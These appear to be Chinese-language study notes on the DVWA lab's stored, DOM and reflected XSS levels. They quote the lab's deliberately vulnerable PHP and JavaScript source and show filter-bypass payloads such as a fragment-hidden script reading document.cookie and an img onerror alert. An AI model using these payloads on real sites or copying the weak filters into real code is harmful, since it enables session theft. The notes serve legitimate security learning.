medium
函数介绍 addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(")、双引号(“”)、反斜线(\)与NUL(NULL字符)。 PHP mysqli_real_escape_string() 函数 | 菜鸟教程 (runoob.com) PHP htmlspecialchars() 函数 (w3school.com.cn) message输入常规测试语句会被过滤但name不会 |
< img src='javascript:alert(123)'>标签在使用时取决于浏览器不一定可以成功
(high)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
正则表达式 – 教程 | 菜鸟教程 (runoob.com)
PHP preg_replace() 函数 | 菜鸟教程 (runoob.com)
代码会过滤包含<script标签所以放弃用script标签 改用a标签
(impossible)
没法
DOM(LOW)
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
不用闭合没法 对于代码理解不到位 lang变量会原封不动出线只要写script代码就好
DOM(medium)
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
检测script标签
把前面的标签统统闭合掉加入img标签
DOM(high)
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
这里用switch:case来给default赋值,相当于设置了白名单,只允许传 default值为English、French、German、Spanish 其中一个。
可以在注入的 payload 中加入注释符 “#”,注释后边的内容不会发送到服务端,但是会被前端代码所执行。
payload:
?default=English #<script>alert(document.cookie)</script>
REFLECTED(LOW)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
REFLECTED(MEDIUM)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
REFLECTED(HIGH)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
<img src=x οnerrοr=alert(1)>
REFLECTED(impossible)
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
已经被编码转义无法正常实现前端标签的功能